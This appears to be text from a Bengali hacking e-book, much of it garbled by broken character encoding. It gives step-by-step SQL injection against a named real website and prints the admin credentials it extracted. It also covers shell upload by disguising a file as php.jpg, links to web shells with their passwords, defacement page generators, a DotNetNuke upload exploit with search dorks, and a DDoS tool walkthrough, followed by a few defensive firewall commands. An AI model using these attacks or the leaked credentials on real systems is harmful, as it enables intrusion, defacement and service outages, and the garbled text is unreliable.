এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 37: Hacking Bangla eBook

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
